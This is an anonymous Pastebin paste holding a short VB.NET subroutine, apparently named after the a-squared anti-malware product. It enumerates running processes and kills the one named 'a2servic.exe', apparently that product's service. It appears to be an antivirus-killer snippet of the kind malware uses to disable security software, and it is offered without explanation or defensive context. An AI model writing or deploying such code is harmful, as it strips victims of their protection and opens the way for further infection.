Guest User

Untitled

a guest
Mar 17th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.23 KB | None | 0 0
  1. Sub Antia-squared()
  2. Dim ktp As Process() = Process.GetProcesses
  3. Dim i As Integer
  4. For i = 0 To ktp.Length - 1
  5. Select Case Strings.LCase(ktp(i).ProcessName)
  6. Case "a2servic.exe"
  7. ktp(i).Kill()
  8. Case Else
  9. End Select
  10. Next
  11. End Sub
Add Comment
Please, Sign In to add comment